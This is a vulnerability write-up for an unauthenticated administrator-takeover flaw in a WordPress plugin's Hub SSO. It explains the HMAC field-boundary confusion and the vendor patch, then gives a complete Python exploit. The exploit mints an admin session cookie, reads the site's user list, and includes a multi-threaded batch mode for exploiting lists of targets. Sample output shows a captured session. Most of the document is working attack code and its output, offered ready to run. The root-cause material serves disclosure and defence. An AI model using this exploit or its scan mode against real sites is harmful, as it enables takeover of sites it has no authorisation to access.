#Summary

CVE-2026-76581 is a critical authentication bypass in WPMU DEV Dashboard (WordPress plugin wpmudev-updates) up to version 5.0.1. An unauthenticated attacker can obtain a valid administrator session without credentials by exploiting an ambiguity in HMAC message construction between two guest-accessible AJAX handlers. The vulnerability requires the site to have Hub SSO enabled and connected to WPMU DEV, both ordinary configuration for sites using the plugin. CVSS 9.8 (CRITICAL).

#Am I affected?

#How to check

Run the exploit PoC against your WordPress install. If it returns SUCCESS and an administrator session, you are vulnerable:

python3 exploit.py --host https://your-site.com

If the result is FAILURE with Key mismatch., you are patched or SSO is not connected. Alternatively, check the plugin version in wp-content/plugins/wpmudev-updates/wpmudev-updates.php or in the WordPress admin under Plugins. Any version at or below 5.0.1 is vulnerable if Hub SSO is enabled.

To confirm Hub SSO is enabled, check the WordPress options table for wdp_un_enable_sso = 1 or check the dashboard: if WPMU DEV Hub SSO is visible in the settings, it is enabled.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The plugin registers two AJAX actions, wdpsso_step1 and wdpsso_step2, for unauthenticated access in includes/class-wpmudev-dashboard-site.php:

$nopriv_ajax_actions = array(
    'wdpunauth',
    'wdpsso_step1',
    'wdpsso_step2',
);
foreach ( $nopriv_ajax_actions as $action ) {
    add_action( "wp_ajax_$action", array( $this, 'nopriv_process_ajax' ) );
    add_action( "wp_ajax_nopriv_$action", array( $this, 'nopriv_process_ajax' ) );
}

Both are called with parameters directly from $_REQUEST, with no nonce and no capability check.

Step 1: authenticate_sso_access_step1() in includes/class-wpmudev-dashboard-api.php signs a message with the site's WPMU DEV API key and redirects the user back to them as query parameters:

$token = uniqid() . '-' . microtime( true );
$pre_sso_state = uniqid( '', true );
$hashed_pre_sso_state = hash_hmac( 'sha256', $pre_sso_state, $api_key );
$domain  = $this->network_site_url();
$outgoing_hmac = hash_hmac( 'sha256', $token . $hashed_pre_sso_state . $redirect . $domain, $api_key );

$auth_params   = array(
    'domain'        => $domain,
    'hmac'          => $outgoing_hmac,
    'token'         => $token,
    'pre_sso_state' => $hashed_pre_sso_state,
    'redirect'      => $redirect,
);
wp_redirect( add_query_arg( $auth_params, $this->rest_url( 'sso-hub' ) ) );
exit;

The signed message is an undelimited concatenation of four fields:

token || hashed_state || redirect || domain

Step 1 then hands all four fields back to the caller in a redirect URL.

Step 2: authenticate_sso_access_step2() receives those values back and verifies them:

public function authenticate_sso_access_step2( $incoming_hmac, $token, $pre_sso_state, $redirect ) {
    $api_key        = $this->get_key();
    $verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
    $is_valid = hash_equals( $incoming_hmac, $verifying_hmac );
    // ... if valid, issue a session ...
    wp_set_auth_cookie( $userid, false );

The verified message is an undelimited concatenation that omits the domain:

token || hashed_state || redirect

#How input reaches the sink

An HMAC over an undelimited concatenation authenticates the bytes, not the field boundaries. The two functions disagree about where fields end and begin:

Step 1 signs:    token || state || R1 || D
Step 2 verifies: token || state || R2

Setting R2 = R1 ++ D (concatenate the attacker's redirect with the domain from step 1) makes the two byte strings identical. The attacker never needs the API key; step 1 is an unauthenticated signing oracle for a message format that step 2 parses differently.

When step 2 recomputes the HMAC with redirect = domain, it gets exactly the byte string step 1 signed, so hash_equals() passes. All other checks also pass because step 1 already published every value the attacker needs:

Step 2 then unconditionally calls wp_set_auth_cookie() for that administrator, issuing a valid WordPress session.

#Patch diff

The vendor's fix (version 5.0.2) prevents the field-boundary shift by storing the step 1 signature on the server and rejecting it if presented again in step 2:

  // in authenticate_sso_access_step1()
  $outgoing_hmac = hash_hmac( 'sha256', $token . $hashed_pre_sso_state . $redirect . $domain, $api_key );
+ // Fix: persist the signature to block its replay
+ WPMUDEV_Dashboard::$site->set_option( 'outgoing_sso_hmac', $outgoing_hmac );

  // in authenticate_sso_access_step2()
- $verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
+ // Fix: reject the step-1 signature if replayed as step-2 signature
+ if ( hash_equals( (string) WPMUDEV_Dashboard::$site->get_option( 'outgoing_sso_hmac' ), $incoming_hmac ) ) {
+     wp_die( 'Key mismatch.' );
+ }
+ $verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
  if ( hash_equals( $incoming_hmac, $verifying_hmac ) ) {

This blocks the one signature an attacker can obtain for free, removing the oracle. The underlying design flaw (undelimited concatenation and missing domain field in step 2) remains, but the replay attack is now blocked. A structurally correct fix would sign and verify an identical, delimited or length-prefixed message in both steps.

#Proof of concept

#exploit.py - WPMU DEV Hub SSO HMAC Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-76581 - WPMU DEV Dashboard Hub SSO HMAC signing-string confusion
Affected: WPMU DEV Dashboard (WordPress plugin "wpmudev-updates") <= 5.0.1
Type: Authentication bypass (unauthenticated -> administrator session)

Two guest-accessible admin-ajax actions disagree about the shape of the message
they authenticate. wdpsso_step1 signs, and then publishes back to the caller, an
HMAC over the undelimited concatenation:

    token || hashed_pre_sso_state || redirect || domain

wdpsso_step2 verifies an HMAC over:

    token || hashed_pre_sso_state || redirect

with the domain field silently dropped and, again, no delimiters. An HMAC over an
unseparated concatenation authenticates the bytes, not the field boundaries, so
sending step 2 a redirect value of (step 1's redirect || step 1's domain) rebuilds
the exact byte string step 1 signed. The signature step 1 gave away for free then
validates, and step 2 issues a WordPress session cookie for the user id held in the
plugin's sso_userid option, which is the administrator who enabled Hub SSO.

Requesting step 1 with an empty redirect makes the shift trivial: the signed
message reduces to token || state || domain, so step 2 only needs redirect=domain.
No credentials, no nonce, and no knowledge of the site's API key are required.

The two requests must be under 30 seconds apart (SSO_TOKEN_EXPIRY_TIME), tokens
are single use, and each attempt needs its own step 1.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 8080
  python exploit.py --host https://blog.corp.com
  python exploit.py --host https://blog.corp.com/wordpress/ --control
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import re
import sys
from urllib.parse import urlparse, parse_qsl

try:
    import requests
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' library (pip install requests)\n")
    raise SystemExit(1)

try:
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

CVE_ID    = "CVE-2026-76581"
VULN_TYPE = "Auth Bypass"

AJAX_PATH   = "wp-admin/admin-ajax.php"
ADMIN_PROBE = "wp-admin/users.php"
USER_AGENT  = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
               "(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")
SESSION_COOKIE_PREFIX = "wordpress_logged_in_"

# wp_die() strings step 2 answers with, mapped to what they actually mean.
STEP2_ERRORS = {
    "Key mismatch.": "signature rejected (target patched, or SSO not connected)",
    "The SSO token has expired.": "more than 30s elapsed between the two requests",
    "Session cookie of the state value does not exist.": "wdp-pre-sso-state cookie was not replayed",
    "Passed state value does not match with the session cookie.": "state value and cookie disagree",
    "The SSO token has been used in the past.": "token already redeemed, re-run step 1",
    "The SSO token could not be verified.": "another step 1 ran after ours",
    "Error: Single Signon is disabled in wp-config": "WPMUDEV_DISABLE_SSO is set on the target",
}


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


class BypassError(Exception):
    """A step of the SSO sequence did not do what the vulnerable code would do."""


def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    """Build the WordPress site root URL, tolerating a full URL in --host."""
    scheme = "https" if use_tls else "http"
    netloc = host
    if (use_tls and port != 443) or (not use_tls and port != 80):
        netloc = f"{host}:{port}"
    if not path.startswith("/"):
        path = "/" + path
    # Accept a URL that already points at the ajax endpoint or at wp-admin.
    for tail in ("wp-admin/admin-ajax.php", "admin-ajax.php", "wp-admin/", "wp-admin"):
        if path.endswith(tail):
            path = path[: -len(tail)]
            break
    if not path.endswith("/"):
        path += "/"
    return f"{scheme}://{netloc}{path}"


def _new_session() -> "requests.Session":
    s = requests.Session()
    s.headers.update({"User-Agent": USER_AGENT, "Accept": "*/*"})
    s.max_redirects = 3
    return s


def _describe_step2_failure(body: str) -> str:
    stripped = re.sub(r"<[^>]+>", " ", body or "")
    for needle, meaning in STEP2_ERRORS.items():
        if needle in stripped:
            return f"{needle} ({meaning})"
    condensed = " ".join(stripped.split())[:160]
    return condensed or "empty response"


def _sso_step1(sess, base: str, timeout: float, redirect: str = "") -> dict:
    """Ask the signing oracle. Returns the values it publishes in its Location header."""
    r1 = sess.get(base + AJAX_PATH,
                  params={"action": "wdpsso_step1", "redirect": redirect},
                  allow_redirects=False, timeout=timeout, verify=False)
    if r1.status_code not in (301, 302, 303, 307, 308):
        raise BypassError(f"step 1 returned HTTP {r1.status_code} instead of a redirect "
                          f"(plugin absent, inactive, or action not registered)")
    loc = r1.headers.get("Location", "")
    q = dict(parse_qsl(urlparse(loc).query, keep_blank_values=True))
    if "wdp_sso_fail" in q:
        raise BypassError(f"SSO preconditions not met on target: wdp_sso_fail={q['wdp_sso_fail']}")
    if "wp-login.php" in loc:
        raise BypassError("step 1 bounced to wp-login.php, SSO is not usable on this target")
    missing = [k for k in ("hmac", "token", "pre_sso_state", "domain") if not q.get(k)]
    if missing:
        raise BypassError(f"step 1 redirect did not publish {', '.join(missing)}")
    if not sess.cookies.get("wdp-pre-sso-state"):
        raise BypassError("step 1 did not set the wdp-pre-sso-state cookie")
    q["_location"] = loc
    return q


def _sso_step2(sess, base: str, timeout: float, signed: dict, redirect: str):
    """Replay step 1's signature with the field boundary shifted into `redirect`."""
    return sess.get(base + AJAX_PATH,
                    params={"action": "wdpsso_step2",
                            "outgoing_hmac": signed["hmac"],
                            "token": signed["token"],
                            "pre_sso_state": signed["pre_sso_state"],
                            "redirect": redirect},
                    allow_redirects=False, timeout=timeout, verify=False)


def _session_cookie(sess):
    for c in sess.cookies:
        if c.name.startswith(SESSION_COOKIE_PREFIX):
            return c
    return None


def _confirm_admin(sess, base: str, timeout: float) -> dict:
    """
    Prove the harvested cookie is a real administrator session, not merely a 200.

    /wp-admin/users.php is gated behind the list_users capability, so a logged in
    non-administrator is refused it. Requiring the user list table to render, and
    reading rows out of it, distinguishes an administrator session from both the
    login page (which WordPress also serves with 200) and a low privilege one.
    """
    r = sess.get(base + ADMIN_PROBE, allow_redirects=False, timeout=timeout, verify=False)
    body = r.text if r.status_code == 200 else ""
    location = r.headers.get("Location") or ""

    logged_in = bool(re.search(r"wp-admin-bar-my-account|wp-admin-bar-logout", body))
    user_table = ("column-role" in body) or ('id="the-list"' in body)
    denied = "not allowed to access this page" in body
    is_login_page = ("wp-login.php" in location or 'name="log"' in body or "loginform" in body)

    name = None
    m = re.search(r'<span class="display-name">([^<]+)</span>', body)
    if m:
        name = m.group(1).strip()
    else:
        m = re.search(r"Howdy,\s*([^<]+)<", body)
        if m:
            name = m.group(1).strip()

    users = []
    for row in re.findall(r"<tr id='user-\d+'>.*?</tr>", body, re.S):
        u = re.search(r"<strong><a [^>]*>([^<]+)</a></strong>", row)
        e = re.search(r"mailto:[^']*'>([^<]+)<", row)
        rl = re.search(r'data-colname="Role">([^<]*)', row)
        if u:
            users.append("{:<20} {:<28} {}".format(
                u.group(1).strip(),
                e.group(1).strip() if e else "-",
                rl.group(1).strip() if rl else "-"))

    return {
        "status": r.status_code,
        "is_admin": r.status_code == 200 and logged_in and user_table and not denied and not is_login_page,
        "username": name,
        "users": users,
        "body": body,
    }


def _bypass(sess, base: str, timeout: float) -> dict:
    """Full two-request bypass. Raises BypassError on any step that does not comply."""
    signed = _sso_step1(sess, base, timeout)
    r2 = _sso_step2(sess, base, timeout, signed, signed["domain"])
    cookie = _session_cookie(sess)
    if cookie is None:
        raise BypassError(f"step 2 issued no session cookie - {_describe_step2_failure(r2.text)}")
    result = _confirm_admin(sess, base, timeout)
    result["signed"] = signed
    result["step2_status"] = r2.status_code
    result["step2_location"] = r2.headers.get("Location", "")
    result["step2_set_cookie"] = [v for k, v in r2.raw.headers.items() if k.lower() == "set-cookie"]
    result["cookie"] = cookie
    return result


def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", timeout: float = 12.0):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    base = _base_url(host, port, use_tls, path)
    sess = _new_session()
    try:
        result = _bypass(sess, base, timeout)
    except BypassError as e:
        return False, str(e)
    except requests.exceptions.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    except Exception as e:
        return False, f"error ({e.__class__.__name__}: {e})"
    finally:
        sess.close()
    if not result["is_admin"]:
        return False, (f"session cookie issued but {ADMIN_PROBE} returned HTTP {result['status']} "
                       f"without an admin session")
    who = result["username"] or "unknown user"
    return True, f"administrator session obtained as '{who}' without credentials"


def _negative_control(base: str, timeout: float) -> tuple:
    """
    Same signature, field boundary left alone: step 2 gets redirect empty rather than
    the domain. This must be rejected, which is what makes the shift the cause.
    Returns (rejected, detail).
    """
    sess = _new_session()
    try:
        signed = _sso_step1(sess, base, timeout)
        r2 = _sso_step2(sess, base, timeout, signed, "")
        if _session_cookie(sess) is not None:
            return False, "control unexpectedly produced a session cookie"
        return True, _describe_step2_failure(r2.text)
    except BypassError as e:
        return True, str(e)
    except requests.exceptions.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    finally:
        sess.close()


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, timeout: float = 12.0) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
            control: bool, timeout: float) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    sess = _new_session()

    if control:
        step(0, "Negative control: replaying the signature without shifting the field boundary")
        rejected, detail = _negative_control(base, timeout)
        if rejected:
            section("NEGATIVE CONTROL", f"step 2 with redirect empty was rejected: {detail}")
        else:
            section("NEGATIVE CONTROL", f"WARNING - control was not rejected: {detail}")

    step(1, "Requesting the signing oracle (wdpsso_step1) with an empty redirect")
    try:
        signed = _sso_step1(sess, base, timeout)
    except BypassError as e:
        section("STEP 1 RESPONSE", str(e))
        done(False, f"Signing oracle unavailable: {e}")
    except requests.exceptions.RequestException as e:
        done(False, f"Target unreachable: {e.__class__.__name__}: {e}")

    section("SIGNED VALUES PUBLISHED BY STEP 1",
            "hmac          : {}\ntoken         : {}\npre_sso_state : {}\ndomain        : {}".format(
                signed["hmac"], signed["token"], signed["pre_sso_state"], signed["domain"]))
    print(f"[STEP 1] Message step 1 signed : token || state || '' || {signed['domain']!r}")

    step(2, "Replaying that signature to wdpsso_step2 with domain moved into 'redirect'")
    print(f"[STEP 2] Message step 2 verifies: token || state || {signed['domain']!r}  (identical bytes)")
    try:
        r2 = _sso_step2(sess, base, timeout, signed, signed["domain"])
    except requests.exceptions.RequestException as e:
        done(False, f"Step 2 request failed: {e.__class__.__name__}: {e}")

    cookie = _session_cookie(sess)
    if cookie is None:
        section("STEP 2 RESPONSE", f"HTTP {r2.status_code}\n\n{r2.text[:600]}")
        done(False, f"No session cookie issued - {_describe_step2_failure(r2.text)}")

    set_cookie_lines = [v for k, v in r2.raw.headers.items() if k.lower() == "set-cookie"]
    # wp_clear_auth_cookie() runs first and emits a batch of empty expiring cookies;
    # the ones that matter are the non-empty session cookies wp_set_auth_cookie() adds.
    issued = [v for v in set_cookie_lines if v.startswith("wordpress_") and "=%20;" not in v]
    cleared = len(set_cookie_lines) - len(issued)
    section("STEP 2 RESPONSE",
            "HTTP {} -> {}\n{}\n({} preceding empty cookies from wp_clear_auth_cookie omitted)".format(
                r2.status_code, r2.headers.get("Location", "(no Location)"),
                "\n".join(issued) or "(no session cookie)", cleared))

    step(3, f"Confirming the session on the administrator-only page /{ADMIN_PROBE}")
    result = _confirm_admin(sess, base, timeout)
    if not result["is_admin"]:
        section("ADMIN PROBE", f"HTTP {result['status']} - no administrator session in the response")
        done(False, "Session cookie issued but it does not render an administrator page")

    who = result["username"] or "unknown user"
    listing = "\n".join(["{:<20} {:<28} {}".format("USER", "EMAIL", "ROLE")] + result["users"])
    section("AUTHENTICATED RESPONSE",
            "HTTP {} on /{} as '{}'\nSession cookie: {}={}...\n\n"
            "User list read from the administrator-only page:\n{}".format(
                result["status"], ADMIN_PROBE, who,
                cookie.name, cookie.value[:48],
                listing if result["users"] else "(user table rendered)"))

    if username and result["username"] and username.lower() != result["username"].lower():
        print(f"[NOTE] Landed as '{result['username']}', not '{username}'. The account is chosen "
              f"server side by the plugin's sso_userid option, not by the attacker.")

    done(True, f"Authenticated as administrator '{who}' without credentials "
               f"(HTTP {result['status']} on /{ADMIN_PROBE})")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/blog/)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--username", default="admin",
                        help="Administrator account expected to land as (default: admin). The target "
                             "picks the account from its sso_userid option, so this only checks identity")
    parser.add_argument("--control", action="store_true",
                        help="Also run the negative control: replay the signature without shifting "
                             "the field boundary, which must be rejected")
    parser.add_argument("--timeout", type=float, default=12.0, help="Per-request timeout (default: 12)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.username, args.control, args.timeout)

#Usage

python3 exploit.py --host 127.0.0.1 --port 8181 --control

The exploit accepts several input formats for the target:

Argument Default Meaning
--host required (or --list) Target as hostname, IP, or full URL. Accepts https://blog.corp.com, https://blog.corp.com/wordpress/, or direct AJAX endpoint URLs
--list FILE required (or --host) Batch scan mode, one target per line. Blank lines and # comments ignored
--port 80 Port to use when not specified in the target
--username admin Expected administrator account name. The server chooses the account from its sso_userid option; this only verifies the identity
--control off Run the negative control (replay without the field boundary shift), which must be rejected
--timeout 12 Per-request timeout in seconds
--workers 10 Thread count for --list batch mode
--tls / --no-tls auto Force or forbid TLS

Exit code is 0 on success, 1 on failure.

#Example against a vulnerable target

--- NEGATIVE CONTROL ---
step 2 with redirect empty was rejected: Key mismatch. (signature rejected (target patched, or SSO not connected))
---

--- SIGNED VALUES PUBLISHED BY STEP 1 ---
hmac          : 433133eca56d430ac12a779b2cd02d639b421215b9dc5ff2245660bed564c5f1
token         : 6a9e026a92e7d-1788740202.6017
pre_sso_state : 4461d87fa4b5ef00b5e347199c7a21f323dfa11421f97ee7eceefb3b9c43b120
domain        : http://127.0.0.1:8181
---

[STEP 1] Message step 1 signed : token || state || '' || 'http://127.0.0.1:8181'
[STEP 2] Message step 2 verifies: token || state || 'http://127.0.0.1:8181'  (identical bytes)

--- STEP 2 RESPONSE ---
HTTP 302 -> http://127.0.0.1:8181
wordpress_logged_in_fac623d8b12ee7b29949e9e6dc582db0=siteadmin%7C1788913002%7C...
---

--- AUTHENTICATED RESPONSE ---
HTTP 200 on /wp-admin/users.php as 'siteadmin'

User list read from the administrator-only page:
USER                 EMAIL                        ROLE
siteadmin            [email protected]       Administrator
---

RESULT  : SUCCESS
EVIDENCE: Authenticated as administrator 'siteadmin' without credentials

#Example against a patched target

--- STEP 2 RESPONSE ---
HTTP 200

Key mismatch.
---

RESULT  : FAILURE
EVIDENCE: No session cookie issued - Key mismatch. (signature rejected (target patched, or SSO not connected))

#Exploitation notes

#Preconditions

All of the following must be true on the target site:

  1. WPMU DEV Dashboard plugin version 5.0.1 or earlier is installed and active
  2. The site is connected to WPMU DEV with a valid API key (in the database or via WPMUDEV_APIKEY constant)
  3. Hub SSO is enabled (wdp_un_enable_sso option is truthy)
  4. The wdp_un_sso_userid option points to a WordPress administrator account
  5. WPMUDEV_DISABLE_SSO is not defined in wp-config.php

These are all ordinary, supported configuration for sites using the plugin.

#Reliability

The exploit is highly reliable. The two-request sequence is deterministic: step 1 always issues a redirect with the required values, and step 2's check is purely cryptographic. Success depends only on the timing constraint (30 second token budget) and the network being reachable. If step 1 succeeds, step 2's verification will pass against a vulnerable target.

#Impact

Unauthenticated attacker gains the WordPress session of the administrator who enabled Hub SSO. This is immediate remote code execution through the plugin or theme editor, or through arbitrary plugin upload. The CVSS 9.8 CRITICAL rating is accurate: full confidentiality, integrity, and availability compromise.

#Chaining potential

This is a terminal bug; it is not chained with other vulnerabilities. An unauthenticated attacker reaches full administrative access directly.

#References